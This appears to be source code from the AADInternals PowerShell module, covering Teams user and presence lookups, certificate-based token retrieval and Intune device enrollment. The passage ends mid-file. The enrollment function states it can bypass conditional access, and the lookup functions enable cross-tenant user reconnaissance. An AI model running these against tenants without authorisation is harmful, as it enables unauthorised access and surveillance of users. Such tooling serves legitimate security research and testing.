-AccessToken $AccessToken $teamsAndChannelsService = $teamsSettings.regionGtms.teamsAndChannelsService $skypeToken = $teamsSettings.tokens.SkypeToken # Construct the headers $headers = @{ "Authorization" = "Bearer $AccessToken" "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36" "X-Skypetoken" = $skypeToken "Accept" = "application/json" } # Get the recipient info $recipient = Get-TeamsRecipients -AccessToken $AccessToken -Recipients $User $body = @{ "users" = @(@{ "mri" = $recipient.mri "role" = 2 })} $response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "$teamsAndChannelsService/beta/teams/$Thread/bulkUpdateRoledMembers?allowBotsInChannel=true" -Headers $headers -Body ($body|ConvertTo-Json) -ContentType "application/json" if($response.value.updatedUsers[0].errorType) { Write-Error $response.value.updatedUsers[0].errorType } } } # Finds the external Teams user # Feb 2nd 2022 function Find-TeamsExternalUser { <# .SYNOPSIS Finds the given external Teams user. .DESCRIPTION Finds the given external Teams user. .Parameter AccessToken The access token used to get user information .EXAMPLE PS\:>Get-AADIntAccessTokenForTeams -SaveToCache PS\:>Find-AADIntTeamsExternalUser -UserPrincipalName [email protected] tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033 isShortProfile : False accountEnabled : True featureSettings : @{coExistenceMode=TeamsOnly} userPrincipalName : [email protected] givenName : [email protected] surname : email : [email protected] displayName : John Doe type : Federated mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841 objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$UserPrincipalName ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" # Get the API url $url=(Get-TeamsUserSettings -AccessToken $AccessToken).regionGtms.appService $headers = @{ "Authorization" = "Bearer $AccessToken" "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36" "x-ms-client-version" = 666 } try { Invoke-RestMethod -UseBasicParsing -Method Get -Uri "$url/beta/users/$UserPrincipalName/externalsearchv3?includeTFLUsers=true" -Headers $headers -ContentType "application/json" } catch { Write-Error $_.Exception.Message } } } # Get the availability of the user # Feb 2nd 2022 function Get-TeamsAvailability { <# .SYNOPSIS Shows the availability of the given user. .DESCRIPTION Shows the availability of the given user. .Parameter AccessToken The access token used to get the availability .Parameter ObjectId The Azure AD Object ID of the target user. .EXAMPLE PS\:>Get-AADIntAccessTokenForTeams -SaveToCache .EXAMPLE PS\:>Get-AADIntAccessTokenForTeams -SaveToCache PS\:>Find-AADIntTeamsExternalUser -UserPrincipalName [email protected] tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033 isShortProfile : False accountEnabled : True featureSettings : @{coExistenceMode=TeamsOnly} userPrincipalName : [email protected] givenName : [email protected] surname : email : [email protected] displayName : John Doe type : Federated mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841 objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f PS\:>Get-AADIntTeamsAvailability -ObjectId "fe401a12-879c-4e5b-8b51-03e1985fa62f" sourceNetwork : Federated capabilities : {Audio, Video} availability : Away activity : Away deviceType : Desktop #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(ParameterSetName='ObjectId',Mandatory=$True)] [Guid]$ObjectId, [Parameter(ParameterSetName='UserPrincipalName',Mandatory=$True)] [String]$UserPrincipalName ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" if($UserPrincipalName) { try { $extUserResponse = Find-TeamsExternalUser -AccessToken $AccessToken -UserPrincipalName $UserPrincipalName if($extUserResponse -is [System.Array]) { $ObjectId = $extUserResponse[0].objectId } else { $ObjectId = $extUserResponse.objectId } } catch { return $null } } $headers = @{ "Authorization" = "Bearer $AccessToken" } $body = "[{""mri"":""8:orgid:$ObjectId""}]" try { $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://presence.teams.microsoft.com/v1/presence/getpresence" -Headers $headers -ContentType "application/json" -Body $body } catch { Write-Error $_.Exception.Message } $response.presence } } # Translate the given text to given language # Mar 21st 2022 function Get-Translation { <# .SYNOPSIS Translate the given text to the given language. .DESCRIPTION Translate the given text to the given language using Teams internal API. .Parameter AccessToken The access token used to get the availability .Parameter Language The language code. Defaults to "en-US" .EXAMPLE PS\:>Get-AADIntAccessTokenForTeams -SaveToCache PS\:>Get-AADIntTranslation -Text "Terve Maailma!" -Language "en-US" Hello World! #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$Text, [Parameter(Mandatory=$False)] [String]$Language = "en-US" ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" # Get the settings try { $teamsSettings = Get-TeamsUserSettings -AccessToken $AccessToken $apiUrl = $teamsSettings.regionGtms.middleTier } catch { $apiUrl = "https://teams.microsoft.com/api/mt/part/amer-01" } $body = @{ "texts" = @($Text) "toLanguage" = $Language } $headers = @{ "Authorization" = "Bearer $AccessToken" } try { $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$apiUrl/beta/translate" -Headers $headers -ContentType "application/json; charset=utf-8" -Body ($body | ConvertTo-Json -Compress) $lang = $response[0].detectedLanguage.language $score = [int](([double]$response[0].detectedLanguage.score)*100) Write-Verbose "Detected language: $lang ($score %)" $response[0].text } catch { Throw $_.Exception.Message } } } # Gets list of current user's Teams # Aug 15 2023 function Get-MyTeams { <# .SYNOPSIS Returns all teams the user is member of. .DESCRIPTION Returns all teams the user is member of. .Parameter AccessToken The access token used to get teams .Parameter Owner Return only Teams where the user is owner. .EXAMPLE PS\:>Get-AADIntAccessTokenForTeams -SaveToCache PS\:>Get-AADIntMyTeams id displayName site -- ----------- ---- afa3b2d4-79d8-4a00-bfb2-070b58af26fc Sales https://company.sharepoint.com/sites/Sales eb780ae6-9f80-4ad3-9219-0deee278fb2a Marketing https://company.sharepoint.com/sites/Marketing 0ab1c9ec-629a-4412-8e65-348bd1ed4fe8 All Hands https://company.sharepoint.com/sites/AllHAnds 5521cd57-f814-4564-85ae-0e8c644a2a96 London https://company.sharepoint.com/sites/London 0bf31a81-4833-4421-a1ff-5d4efb669d4b Test https://company.sharepoint.com/sites/Test .EXAMPLE PS\:>Get-AADIntAccessTokenForTeams PS\:>Get-AADIntMyTeams -Owner id displayName site -- ----------- ---- afa3b2d4-79d8-4a00-bfb2-070b58af26fc Sales https://company.sharepoint.com/sites/Sales 0bf31a81-4833-4421-a1ff-5d4efb669d4b Test https://company.sharepoint.com/sites/Test #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [Switch]$Owner, [Parameter(Mandatory=$False)] [Switch]$Channels ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" $userName = (Read-Accesstoken -AccessToken $AccessToken).upn $response = Call-MSGraphAPI -AccessToken $AccessToken -API "me/joinedTeams" -QueryString '$select=id,displayName' $teams = @() # Include only those where the user is owner if($Owner) { foreach($team in $response) { $response = Call-MSGraphAPI -AccessToken $AccessToken -API "groups/$($team.id)/owners" -QueryString '$top=999&$select=userPrincipalName' $owners = $response.userPrincipalName if($owners.Contains($userNAme)) { $teams += $team } } } else { $teams = $response } foreach($team in $teams) { $site = Call-MSGraphAPI -AccessToken $AccessToken -API "groups/$($team.id)/sites/root" -QueryString '$select=webUrl' $team | Add-Member -NotePropertyName "site" -NotePropertyValue $site.webUrl # Include channels if($Channels) { $response = Call-MSGraphAPI -AccessToken $AccessToken -ApiVersion "beta" -API "teams/$($team.id)/channels" -QueryString '$select=displayName,filesFolderWebUrl' $teamsChannels = @() foreach($channel in $response) { $teamsChannels += $channel.filesFolderWebUrl.Substring($team.site.Length+1) #[pscustomobject]@{ #"name" = $channel.displayName #"folderName" = $channel.filesFolderWebUrl.Substring($team.site.Length+1) # $channel.filesFolderWebUrl.Substring($team.site.Length+1) #} } $team | Add-Member -NotePropertyName "channels" -NotePropertyValue $teamsChannels } $team } } } # Get the external user information # May 22nd 2024 function Get-TeamsExternalUserInformation { <# .SYNOPSIS Returns the external user information. .DESCRIPTION Returns the external user information using Teams API. .Parameter AccessToken The access token used to get the information. .Parameter ObjectId The Entra ID Object ID of the target user. .Parameter UserPrincipalName The user principal name of the target user. .EXAMPLE PS\:>Get-AADIntAccessTokenForTeams -SaveToCache PS\:>Get-AADIntTeamsExternalUserInformation -ObjectId "fe401a12-879c-4e5b-8b51-03e1985fa62f" tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033 isShortProfile : False accountEnabled : True featureSettings : @{coExistenceMode=TeamsOnly} userPrincipalName : [email protected] givenName : [email protected] surname : email : [email protected] displayName : John Doe type : Federated mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841 objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f .EXAMPLE PS\:>Get-AADIntAccessTokenForTeams -SaveToCache PS\:>Get-AADIntTeamsExternalUserInformation -UserPrincipalname = "[email protected]" tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033 isShortProfile : False accountEnabled : True featureSettings : @{coExistenceMode=TeamsOnly} userPrincipalName : [email protected] givenName : [email protected] surname : email : [email protected] displayName : John Doe type : Federated mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841 objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f .EXAMPLE PS\:>Get-AADIntAccessTokenForTeams -SaveToCache PS\:>Get-AADIntTeamsExternalUserInformation -MRI "8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841" tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033 isShortProfile : False accountEnabled : True featureSettings : @{coExistenceMode=TeamsOnly} userPrincipalName : [email protected] givenName : [email protected] surname : email : [email protected] displayName : John Doe type : Federated mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841 objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(ParameterSetName='ObjectId',Mandatory=$True)] [Guid]$ObjectId, [Parameter(ParameterSetName='UserPrincipalName',Mandatory=$True)] [String]$UserPrincipalName, [Parameter(ParameterSetName='MRI',Mandatory=$True)] [String]$MRI ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" # Get the settings try { $teamsSettings = Get-TeamsUserSettings -AccessToken $AccessToken $apiUrl = $teamsSettings.regionGtms.middleTier } catch { $apiUrl = "https://teams.microsoft.com/api/mt/part/amer-01" } if([string]::IsNullOrEmpty($MRI)) { if($UserPrincipalName) { try { $extUserResponse = Find-TeamsExternalUser -AccessToken $AccessToken -UserPrincipalName $UserPrincipalName if($extUserResponse -is [System.Array]) { $MRI = $extUserResponse[0].mri } else { $MRI = $extUserResponse.mri } } catch {} # Okay(ish) if([string]::IsNullOrEmpty($MRI)) { throw "User $UserPrincipalName not found" } } else { $MRI = "8:orgid:$ObjectId" } } $body = "[""$MRI""]" $headers = @{ "Authorization" = "Bearer $AccessToken" } try { $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$apiurl/beta/users/fetchFederated?edEnabled=true " -Headers $headers -ContentType "application/json" -Body $body } catch { Write-Error $_.Exception.Message } $response.value } }
CBA.ps1
AADInternals-0.9.4
# Get's tokens using CBA # May 24th 2022 function Get-AdminPortalAccessTokenUsingCBA { <# .SYNOPSIS Gets Access Tokens using CBA .DESCRIPTION Gets Access Tokens using Certificate Based Authentication (CBA). Returns tokens for Portal and Business Store. Assumes that CN of the given certificate contains upn with domain name. .Parameter PfxFileName Name of the certificate file to be used .Parameter PfxPassword Password of the certificate file to be used .Example Get-AADIntAccessTokenForAADGraph .Example PS C:\>$tokens = Get-AADIntAdminPortalAccessTokenUsingCBA -PfxFileName .\my_cert.pfx -PfxPassword "my supersecret password" Logged in as [email protected] PS C:\>Read-AADIntAccesstoken $tokens[0] | Select aud,iss,appid,amr | fl aud : https://portal.office.com/ iss : https://sts.windows.net/25dc721a-d37f-44ec-b8dc-cc5783e9ec56/ appid : 00000006-0000-0ff1-ce00-000000000000 amr : {rsa, mfa} #> [cmdletbinding()] Param( [Parameter(ParameterSetName="File",Mandatory=$True)] [string]$PfxFileName, [Parameter(ParameterSetName="File",Mandatory=$False)] [string]$PfxPassword, [Parameter(ParameterSetName="Certificate",Mandatory=$True)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate ) Process { if($Certificate -eq $null) { $Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable } $TenantId = Get-TenantID -Domain $certificate.SubjectName.Name.Split("@")[1] # Create a web session $webSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession $webSession.Cookies.Add((New-Object System.Net.Cookie("x-portal-routekey", "wuk", "/", "admin.microsoft.com"))) # Invoke the first request to get redirect url $response = Invoke-WebRequest2 -Uri "https://admin.microsoft.com/login?ru=%2FAdminportal%2FHome%3F%26source%3Dapplauncher" -Method Get -WebSession $webSession -MaximumRedirection 0 -ErrorAction SilentlyContinue $url = $response.Headers.'Location' # Get the login parameters and cookies with the certificate $loginInfo = Get-LoginParametersUsingCBA -Url $url -TenantId $TenantId -Certificate $certificate -WebSession $webSession # Send parameters to redirect_url $response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://admin.microsoft.com/landing" -Method Post -Body $loginInfo.parameters -MaximumRedirection 0 -ErrorAction SilentlyContinue -WebSession $webSession # Return an array of access tokens $retVal = @() $retVal += Get-AccessTokenUsingAdminAPI -TokenType PortalAT -WebSession $webSession $retVal += Get-AccessTokenUsingAdminAPI -TokenType BusinessStoreAT -WebSession $webSession return $retVal } } # Get's tokens using CBA # May 24th 2022 function Get-PortalAccessTokenUsingCBA { <# .SYNOPSIS Gets Access Tokens using CBA .DESCRIPTION Gets Access Tokens using Certificate Based Authentication (CBA). Returns tokens for Graph, Office search, Substrate, Loki, and Portal Assumes that CN of the given certificate contains upn with domain name. .Parameter PfxFileName Name of the certificate file to be used .Parameter PfxPassword Password of the certificate file to be used .Example Get-AADIntAccessTokenForAADGraph .Example PS C:\>$tokens = Get-AADIntPortalAccessTokenUsingCBA -PfxFileName .\my_cert.pfx -PfxPassword "my supersecret password" Logged in as [email protected] PS C:\>Read-AADIntAccesstoken $tokens[0] | Select aud,iss,appid,amr | fl aud : https://graph.microsoft.com iss : https://sts.windows.net/25dc721a-d37f-44ec-b8dc-cc5783e9ec56/ appid : 4765445b-32c6-49b0-83e6-1d93765276ca amr : {rsa, mfa} #> [cmdletbinding()] Param( [Parameter(ParameterSetName="File",Mandatory=$True)] [string]$PfxFileName, [Parameter(ParameterSetName="File",Mandatory=$False)] [string]$PfxPassword, [Parameter(ParameterSetName="Certificate",Mandatory=$True)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate ) Process { if($Certificate -eq $null) { $Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable } $TenantId = Get-TenantID -Domain $certificate.SubjectName.Name.Split("@")[1] # Create a web session $webSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession # Invoke the first request to get redirect url $response = Invoke-WebRequest2 -Uri "https://www.office.com/login?ru=%2F%3Ffrom%3DPortalHome" -Method Get -WebSession $webSession -MaximumRedirection 0 -ErrorAction SilentlyContinue $url = $response.Headers.'Location' # Get the login parameters and cookies with the certificate $loginInfo = Get-LoginParametersUsingCBA -Url $url -TenantId $TenantId -Certificate $certificate -WebSession $webSession # Send parameters to redirect_url $response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://www.office.com/landingv2" -Method Post -Body $loginInfo.parameters -MaximumRedirection 1 -ErrorAction SilentlyContinue -WebSession $webSession # Parse tokens from the html $tokens = (Get-Substring -String $response2 -Start '<div id="primaryTokensInfo" style="display: none;">' -End "</div>").replace('&quot;','"') | ConvertFrom-Json # Return an array of access tokens $retVal = @() foreach($token in ($tokens | Get-Member -MemberType NoteProperty)) { $value = $tokens | Select -ExpandProperty $token.Name $retVal += $value.TokenValue } return $retVal } } function Get-LoginParametersUsingCBA { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Url, [Parameter(Mandatory=$True)] [String]$TenantId, [Parameter(Mandatory=$True)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(Mandatory=$True)] [Microsoft.PowerShell.Commands.WebRequestSession]$WebSession ) Process { function Get-Config { Param( [Parameter(Mandatory=$True)] [String]$Content ) Process { $strConfig = Get-Substring -String $Content -Start '$Config=' -End ";`n" if([string]::IsNullOrEmpty($strConfig)) { Throw "Could not parse config" } try { return $strConfig | ConvertFrom-Json } catch { Throw "Coud not parse config" } } } $nonce = (New-Guid).ToString() # Make an initial request to login.microsoftonline.com to get required tokens and config $response1 = Invoke-WebRequest -UseBasicParsing -Uri $Url -Method Get -WebSession $WebSession -ErrorAction SilentlyContinue # Extract the config $config = Get-Config -Content $response1.Content # Make request to https://certauth.login.microsoftonline.com/<tenantid>/certauth $body = @{ "ctx"=$config.sCtx "flowToken"=$config.sFT } $response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://certauth.login.microsoftonline.com/$TenantId/certauth" -Method Post -Body $body -Certificate $Certificate # Parse the hidden form fields $parameters = @{} foreach($e in $response2.html.body.form.input) { $parameters[$e.name]=$e.value } # Make the final request to login.microsoftonline.com to get cookies $response3 = Invoke-WebRequest -UseBasicParsing -Uri "https://login.microsoftonline.com/common/login" -Method Post -Headers @{"Referer"="https://certauth.login.microsoftonline.com/"} -Body $parameters # Parse the config $config = Get-Config -Content $response3.content if(-not [string]::IsNullOrEmpty($config.strMainMessage)) { Throw $config.strServiceExceptionMessage } # Get the cookies foreach($cookie in $response3.Headers.'Set-Cookie'.Split(",")) { $parts = $cookie.Split(";")[0].Split("=") switch($parts[0]) { "ESTSAUTH" { $estsauth = $parts[1] } "ESTSAUTHLIGHT" { $estsauthlight = $parts[1] } } } Write-Host "Logged in as $($config.sPOST_Username)" -ForegroundColor Green # Make a request to login.microsoftonline.com/kmsi to get code and id_token $body = @{ "LoginOptions" = "3" "type" = "28" "ctx" = $config.sCtx "hpgrequestid" = $config.sessionId "flowToken" = $config.sFT "canary" = $config.canary "i19" = "2326" } $response4 = Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/kmsi" -Method Post -WebSession $WebSession -Body $body # Parse the hidden form fields $parameters = @{} foreach($e in $response4.html.body.form.input) { $parameters[$e.name]=$e.value } if(-not $parameters.ContainsKey("code")) { $config = Get-Config -Content $response4 if(-not [string]::IsNullOrEmpty($config.strMainMessage)) { Throw $config.strServiceExceptionMessage } Throw "Could not get authorization code!" } # Return return New-Object psobject -Property @{ "parameters" = $parameters "ESTSAUTH" = $estsauth } } }
MDM.ps1
AADInternals-0.9.4
# This file contains functions for Intune MDM # Enroll device to Intune MDM # Aug 29th function Join-DeviceToIntune { <# .SYNOPSIS Registers (enrolls) the given device to Intune. .DESCRIPTION Enrolls the given device to Intune and generates a corresponding certificate. After enrollment, the device is in compliant state (depends on the Intune configuration), which allows bypassing conditional access (CA) restrictions based on the compliance. The certificate has no password. .Parameter AccessToken The access token used to enroll the device. Must have deviceid claim! If not given, will be prompted. .Parameter DeviceName The name of the device to be registered. .EXAMPLE Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache PS C\:>Join-AADIntDeviceToIntune -DeviceName "My computer" Intune client certificate successfully created: Subject: "CN=5ede6e7a-7b77-41bd-bfe0-ef29ca70a3fb" Issuer: "CN=Microsoft Intune MDM Device CA" Cert thumbprint: A1D407FF66EF05D153B67129B8541058A1C395B1 Cert file name: "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx" CA file name : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-CA.der" IntMedCA file : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-INTMED-CA.der" #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$DeviceName ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "29d9ed98-a469-4536-ade2-f981bc1d605e" -Resource "https://enrollment.manage.microsoft.com/" # Get the claims $claims = Read-Accesstoken -AccessToken $AccessToken if(!$claims.deviceid) { throw "No device id included in access token! Use Get-AADIntAccessTokenForIntuneMDM with the device certificate and try again." } # If the username starts with package_ assume it be a BPRT $BPRT = $claims.upn.StartsWith("package_") try { $joinInfo = Enroll-DeviceToMDM -AccessToken $AccessToken -DeviceName $DeviceName -BPRT $BPRT } catch { Write-Error $_.ErrorDetails.Message return } # Get the certificates $CA = $joinInfo[0] $IntMedCA = $joinInfo[1] $clientCertificate = $joinInfo[2] Set-BinaryContent -Path "$($claims.deviceid)-MDM.pfx" -Value $clientCertificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx) $CA | Set-Content "$($claims.deviceid)-MDM-CA.der" $IntMedCA | Set-Content "$($claims.deviceid)-MDM-INTMED-CA.der" # Unload the private key Unload-PrivateKey -PrivateKey $clientCertificate.privateKey # Print out information Write-Host "Intune client certificate successfully created:" Write-Host " Subject: ""$($clientCertificate.Subject)""" Write-Host " Issuer: ""$($clientCertificate.Issuer)""" Write-Host " Cert thumbprint: $($clientCertificate.Thumbprint)" Write-host " Cert file name: ""$($claims.deviceid)-MDM.pfx""" Write-host " CA file name : ""$($claims.deviceid)-MDM-CA.der""" Write-host " IntMedCA file : ""$($claims.deviceid)-MDM-INTMED-CA.der""" } } # Sep 2nd 2020 function Start-DeviceIntuneCallback { <# .SYNOPSIS Starts a device callback to Intune. .DESCRIPTION Starts a device callback to Intune. Resets also the name of the device to given device name. .Parameter DeviceName The name the device to be seen in Intune portal. .EXAMPLE Start-AADIntDeviceIntuneCallback -pfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7MDM.pfx .Parameter Certificate x509 certificate of the device. .Parameter PfxFileName File name of the .pfx certificate of the device. .Parameter PfxPassword The password of the .pfx certificate of the device. #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Certificate',Mandatory=$True)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)] [string]$PfxFileName, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)] [string]$PfxPassword, [Parameter(Mandatory=$True)] [string]$DeviceName, [Parameter(Mandatory=$False)] [ValidateSet("User","Others","None")] [string]$Scope="None", [Parameter(Mandatory=$False)] [int]$SessionId=1 ) Begin { # CPS Version xml $CSPVersions = @" <?xml version="1.0" encoding="utf-8"?> <DeviceManageability Version="com.microsoft/1.1/MDM/DeviceManageability"> <Capabilities> <CSPVersions> <CSP Node="./DevDetail" Version="1.1"/> <CSP Node="./DevInfo" Version="1.0"/> <CSP Node="./Device/Vendor/MSFT/AssignedAccess" Version="4.0"/> <CSP Node="./Device/Vendor/MSFT/BitLocker" Version="5.0"/> <CSP Node="./Device/Vendor/MSFT/ClientCertificateInstall" Version="1.1"/> <CSP Node="./Device/Vendor/MSFT/DMClient" Version="1.5"/> <CSP Node="./Device/Vendor/MSFT/DeclaredConfiguration" Version="1.0"/> <CSP Node="./Device/Vendor/MSFT/DeviceManageability" Version="2.0"/> <CSP Node="./Device/Vendor/MSFT/DeviceUpdateCenter" Version="1.0"/> <CSP Node="./Device/Vendor/MSFT/EnrollmentStatusTracking" Version="1.0"/> <CSP Node="./Device/Vendor/MSFT/EnterpriseAppVManagement" Version="1.0"/> <CSP Node="./Device/Vendor/MSFT/EnterpriseDataProtection" Version="4.0"/> <CSP Node="./Device/Vendor/MSFT/EnterpriseDesktopAppManagement" Version="1.0"/> <CSP Node="./Device/Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"/> <CSP Node="./Device/Vendor/MSFT/OfflineDomainJoin" Version="1.0"/> <CSP Node="./Device/Vendor/MSFT/OptionalFeatures" Version="1.1"/> <CSP Node="./Device/Vendor/MSFT/PassportForWork" Version="1.4"/> <CSP Node="./Device/Vendor/MSFT/Policy" Version="9.0"/> <CSP Node="./Device/Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"/> <CSP Node="./Device/Vendor/MSFT/PolicyManager/Security" Version="1.0"/> <CSP Node="./Device/Vendor/MSFT/Reboot" Version="1.0"/> <CSP Node="./Device/Vendor/MSFT/RemoteLock" Version="1.1"/> <CSP Node="./Device/Vendor/MSFT/RootCATrustedCertificates" Version="1.1"/> <CSP Node="./Device/Vendor/MSFT/VPNv2" Version="1.0"/> <CSP Node="./Device/Vendor/MSFT/WindowsAdvancedThreatProtection" Version="1.2"/> <CSP Node="./Device/Vendor/MSFT/WindowsDefenderApplicationGuard" Version="1.3"/> <CSP Node="./Device/Vendor/MSFT/WindowsLicensing" Version="1.3"/> <CSP Node="./SyncML/DMAcc" Version="1.0"/> <CSP Node="./SyncML/DMS" Version="1.0"/> <CSP Node="./User/Vendor/MSFT/ActiveSync" Version="1.0"/> <CSP Node="./User/Vendor/MSFT/ClientCertificateInstall" Version="1.1"/> <CSP Node="./User/Vendor/MSFT/DMClient" Version="1.5"/> <CSP Node="./User/Vendor/MSFT/DMSessionActions" Version="1.1"/> <CSP Node="./User/Vendor/MSFT/DeclaredConfiguration" Version="1.0"/> <CSP Node="./User/Vendor/MSFT/EMAIL2" Version="1.0"/> <CSP Node="./User/Vendor/MSFT/EnrollmentStatusTracking" Version="1.0"/> <CSP Node="./User/Vendor/MSFT/EnterpriseAppVManagement" Version="1.0"/> <CSP Node="./User/Vendor/MSFT/EnterpriseDesktopAppManagement" Version="1.0"/> <CSP Node="./User/Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"/> <CSP Node="./User/Vendor/MSFT/NodeCache" Version="1.2"/> <CSP Node="./User/Vendor/MSFT/PassportForWork" Version="1.4"/> <CSP Node="./User/Vendor/MSFT/Policy" Version="9.0"/> <CSP Node="./User/Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"/> <CSP Node="./User/Vendor/MSFT/PolicyManager/Security" Version="1.0"/> <CSP Node="./User/Vendor/MSFT/RootCATrustedCertificates" Version="1.1"/> <CSP Node="./User/Vendor/MSFT/VPNv2" Version="1.0"/> <CSP Node="./User/Vendor/MSFT/WiFi" Version="1.0"/> <CSP Node="./Vendor/MSFT/ActiveSync" Version="1.0"/> <CSP Node="./Vendor/MSFT/AppLocker" Version="1.0"/> <CSP Node="./Vendor/MSFT/CMPolicy" Version="1.0"/> <CSP Node="./Vendor/MSFT/CMPolicyEnterprise" Version="1.0"/> <CSP Node="./Vendor/MSFT/CellularSettings" Version="1.0"/> <CSP Node="./Vendor/MSFT/CertificateStore" Version="1.0"/> <CSP Node="./Vendor/MSFT/CleanPC" Version="1.0"/> <CSP Node="./Vendor/MSFT/DMClient" Version="1.5"/> <CSP Node="./Vendor/MSFT/DMSessionActions" Version="1.1"/> <CSP Node="./Vendor/MSFT/DeclaredConfiguration" Version="1.0"/> <CSP Node="./Vendor/MSFT/Defender" Version="1.3"/> <CSP Node="./Vendor/MSFT/DeviceLock" Version="1.0"/> <CSP Node="./Vendor/MSFT/DeviceStatus" Version="1.5"/> <CSP Node="./Vendor/MSFT/DeviceUpdate" Version="1.0"/> <CSP Node="./Vendor/MSFT/DiagnosticLog" Version="1.4"/> <CSP Node="./Vendor/MSFT/DynamicManagement" Version="1.0"/> <CSP Node="./Vendor/MSFT/EMAIL2" Version="1.0"/> <CSP Node="./Vendor/MSFT/EnterpriseAPN" Version="1.0"/> <CSP Node="./Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"/> <CSP Node="./Vendor/MSFT/Firewall" Version="1.0"/> <CSP Node="./Vendor/MSFT/HealthAttestation" Version="1.3"/> <CSP Node="./Vendor/MSFT/Maps" Version="1.0"/> <CSP Node="./Vendor/MSFT/MultiSIM" Version="1.0"/> <CSP Node="./Vendor/MSFT/NetworkProxy" Version="1.0"/> <CSP Node="./Vendor/MSFT/NodeCache" Version="1.2"/> <CSP Node="./Vendor/MSFT/Office" Version="1.5"/> <CSP Node="./Vendor/MSFT/PassportForWork" Version="1.4"/> <CSP Node="./Vendor/MSFT/Personalization" Version="1.0"/> <CSP Node="./Vendor/MSFT/Policy" Version="9.0"/> <CSP Node="./Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"/> <CSP Node="./Vendor/MSFT/PolicyManager/Security" Version="1.0"/> <CSP Node="./Vendor/MSFT/RemoteFind" Version="1.0"/> <CSP Node="./Vendor/MSFT/RemoteLock" Version="1.1"/> <CSP Node="./Vendor/MSFT/RemoteWipe" Version="1.1"/> <CSP Node="./Vendor/MSFT/Reporting" Version="2.1"/> <CSP Node="./Vendor/MSFT/SUPL" Version="1.1"/> <CSP 